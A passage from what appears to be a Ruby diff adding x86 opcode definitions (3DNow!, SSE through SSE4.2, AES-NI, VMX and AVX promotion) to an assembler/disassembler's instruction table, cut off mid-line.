['pfadd', 0x9E], ['pfsub', 0x9A], + ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], + ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], + ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], + ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], + ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], + ['pmulhrw', 0xB7]].each { |str, bin| + addop str, [0x0F, 0x0F, bin], :mrmmmx + } + # 3dnow prefix fallback + addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8 + + addop 'femms', [0x0F, 0x0E] + addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA + addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA + end + + def init_sse_only + init_cpu_constants + + addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm + addop 'andnps', [0x0F, 0x55], :mrmxmm + addop 'andps', [0x0F, 0x54], :mrmxmm + addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8 + addop 'comiss', [0x0F, 0x2F], :mrmxmm + + addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } + addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } + addop('cvtss2si', [0x0F, 0x2D], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvttss2si',[0x0F, 0x2C], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + + addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm + addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA + addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm + addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm + addop 'movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]} + addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR + addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR + addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg + addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } + addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} + addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm + addop 'orps', [0x0F, 0x56], :mrmxmm + addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm + addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm + addop 'shufps', [0x0F, 0xC6], :mrmxmm, :u8 + addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm + addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA + addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm + addop 'ucomiss', [0x0F, 0x2E], :mrmxmm + addop 'unpckhps',[0x0F, 0x15], :mrmxmm + addop 'unpcklps',[0x0F, 0x14], :mrmxmm + addop 'xorps', [0x0F, 0x57], :mrmxmm + + # integer instrs, mmx only + addop 'pavgb', [0x0F, 0xE0], :mrmmmx + addop 'pavgw', [0x0F, 0xE3], :mrmmmx + addop 'pextrw', [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8 + addop 'pinsrw', [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8 + addop 'pmaxsw', [0x0F, 0xEE], :mrmmmx + addop 'pmaxub', [0x0F, 0xDE], :mrmmmx + addop 'pminsw', [0x0F, 0xEA], :mrmmmx + addop 'pminub', [0x0F, 0xDA], :mrmmmx + addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx + addop 'psadbw', [0x0F, 0xF6], :mrmmmx + addop 'pshufw', [0x0F, 0x70], :mrmmmx, :u8 + + addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR + addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! } + addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! } + addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA + addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA + addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA + addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA + addop 'sfence', [0x0F, 0xAE, 0xF8] + + # the whole row of prefetch is actually nops + addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1] # incl. official version = 0f1f mrm + addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1] + addop 'nop_d', [0x0F, 0x0D], :mrm + addop 'nop', [0x0F, 0x1C], 0 # official asm syntax is 'nop [eax]' + end + + def init_sse2_only + init_cpu_constants + + @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ } + + # mirror of the init_sse part + addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm + addop('andnpd', [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('andpd', [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8 + addop('comisd', [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('cvtpi2pd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0x66 } + addop('cvtpd2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvtsi2sd', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('cvtsd2si', [0x0F, 0x2D], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('cvttpd2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0x66 } + addop('cvttsd2si',[0x0F, 0x2C], :mrm ) { |o| o.args[o.args.index(:modrm )] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + + addop('cvtpd2ps', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtps2pd', [0x0F, 0x5A], :mrmxmm) + addop('cvtsd2ss', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvtss2sd', [0x0F, 0x5A], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + + addop('cvtpd2dq', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('cvttpd2dq',[0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvtdq2pd', [0x0F, 0xE6], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtps2dq', [0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('cvttps2dq',[0x0F, 0x5B], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('cvtdq2ps', [0x0F, 0x5B], :mrmxmm) + + addop_macrosdpd 'divpd', [0x0F, 0x5E], :mrmxmm + addop_macrosdpd 'maxpd', [0x0F, 0x5F], :mrmxmm + addop_macrosdpd 'minpd', [0x0F, 0x5D], :mrmxmm + addop('movapd', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movlpd', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop('movhpd', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + + addop('movmskpd',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg) { |o| o.props[:needpfx] = 0x66 } + addop('movsd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF2 } + addop('movupd', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'mulpd', [0x0F, 0x59], :mrmxmm + addop('orpd', [0x0F, 0x56], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('shufpd', [0x0F, 0xC6], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'sqrtpd', [0x0F, 0x51], :mrmxmm + addop_macrosdpd 'subpd', [0x0F, 0x5C], :mrmxmm + addop('ucomisd', [0x0F, 0x2E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpckhpd',[0x0F, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('unpcklpd',[0x0F, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('xorpd', [0x0F, 0x57], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0x66 } + addop('movdqu', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.props[:needpfx] = 0xF3 } + addop('movq2dq', [0x0F, 0xD6], :mrmxmm, :modrmR) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx ; o.props[:needpfx] = 0xF3 } + addop('movdq2q', [0x0F, 0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 } + addop('movq', [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 } + addop('movq', [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 } + + addop 'paddq', [0x0F, 0xD4], :mrmmmx, :xmmx + addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx + addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 } + addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 } + addop('pshufd', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pslldq', [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('psrldq', [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop 'psubq', [0x0F, 0xFB], :mrmmmx, :xmmx + addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } + addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } + addop('movnti', [0x0F, 0xC3], :mrm) { |o| o.args.reverse! } + addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } + addop 'lfence', [0x0F, 0xAE, 0xE8] + addop 'mfence', [0x0F, 0xAE, 0xF0] + end + + def init_sse3_only + init_cpu_constants + + addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + + addop 'monitor', [0x0F, 0x01, 0xC8] + addop 'mwait', [0x0F, 0x01, 0xC9] + + addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } + addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('lddqu', [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } + addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } + addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_ssse3_only + init_cpu_constants + + addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx + addop 'palignr', [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx + addop 'phaddd', [0x0F, 0x38, 0x02], :mrmmmx, :xmmx + addop 'phaddsw', [0x0F, 0x38, 0x03], :mrmmmx, :xmmx + addop 'phaddw', [0x0F, 0x38, 0x01], :mrmmmx, :xmmx + addop 'phsubd', [0x0F, 0x38, 0x06], :mrmmmx, :xmmx + addop 'phsubsw', [0x0F, 0x38, 0x07], :mrmmmx, :xmmx + addop 'phsubw', [0x0F, 0x38, 0x05], :mrmmmx, :xmmx + addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx + addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx + addop 'pshufb', [0x0F, 0x38, 0x00], :mrmmmx, :xmmx + addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx + end + + def init_aesni_only + init_cpu_constants + + addop('aesdec', [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenc', [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aesimc', [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + + addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_vmx_only + init_cpu_constants + + addop 'vmcall', [0x0F, 0x01, 0xC1] + addop 'vmlaunch', [0x0F, 0x01, 0xC2] + addop 'vmresume', [0x0F, 0x01, 0xC3] + addop 'vmxoff', [0x0F, 0x01, 0xC4] + addop 'vmread', [0x0F, 0x78], :mrm + addop 'vmwrite', [0x0F, 0x79], :mrm + addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } + addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } + addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } + addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } + + addop 'getsec', [0x0F, 0x37] + + addop 'xgetbv', [0x0F, 0x01, 0xD0] + addop 'xsetbv', [0x0F, 0x01, 0xD1] + addop 'rdtscp', [0x0F, 0x01, 0xF9] + addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA + addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA + end + + def init_sse41_only + init_cpu_constants + + addop('blendpd', [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendps', [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('dppd', [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('dpps', [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 } + addop('mpsadbw', [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pblendw', [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpeqq', [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } + addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } + addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } + addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + addop('pmuldq', [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('pmulld', [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('ptest', [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } + end + + def init_sse42_only + init_cpu_constants + + addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } + addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } + addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 } + end + + def init_avx_only + init_cpu_constants + + add128 = {} + add256 = {} + %w[movss movsd movlhps movhpd movhlps + cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss + addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd + minss minsd divss divsd maxss maxsd + punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb + punpckhb punpckhw punpckhd packssdw punpcklq punpckhq + pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr + cmpss cmpsd paddq pmullw psubusb psubusw pminub + pand paddusb paddusw pmaxub pandn pavgb pavgw + pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor + pmuludq pmaddwd psadbw + psubb psubw psubd psubq paddb paddw paddd + phaddw phaddsw phaddd phsubw phsubsw phsubd + pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd + dppd insertps mpsadbw packusdw pblendw pcmpeqq + pinsrb pinsrw pinsrd pinsrq + pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw + pmuldq pmulld roundsd roundss pcmpgtq + aesdec aesdeclast aesenc aesenclast + pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd + punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true } + + %w[movups movupd movddup movsldup + unpcklps unpcklpd unpckhps unpckhpd + movaps movshdup movapd movntps movntpd movmskps movmskpd + sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd + orps orpd xorps xorpd addps addpd mulps mulpd + cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq + subps subpd minps minpd divps divpd maxps maxpd + movdqa movdqu haddpd haddps hsubpd hsubps + cmpps cmppd shufps shufpd addsubpd addsubps + cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu + blendps blendpd blendvps blendvpd dpps ptest + roundpd roundps].each { |n| add128[n] = add256[n] = true } + + varg = Hash.new(1) + %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa + pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq + pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq + aesimc aeskeygenassist lddqu maskmovdqu movapd movaps + pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw + cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq + cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd + movntdq movntps movntpd movshdup movsldup movups movupd + pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd + extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd + cvttss2si cvttsd2si cvtss2si cvtsd2si + ].each { |n| add128[n] = true ; varg[n] = nil } + + cvtarg128 = { :regmmx => :regxmm, :modrmmmx => :modrmxmm } + cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, + :regxmm => :regymm, :modrmxmm => :modrmymm } + + # autopromote old sseX opcodes + @opcode_list.each { |o| + next if o.bin[0] != 0x0F or not add128[o.name] # rep cmpsd / movsd + + mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) + pp = o.props[:needpfx] + pp = 0x66 if o.props[:xmmx] + fpxlen = (mm == 0x0F ? 1 : 2) + + addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + + next if not add256[o.name] + addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| + oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] + dbinlen = o.bin.length - oo.bin.length + o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } + o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } + } + } + + # sse promotion, special cases + addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm + addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm + addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm + addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm + addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm + addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } + addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm + addop_vex('vpsrad', 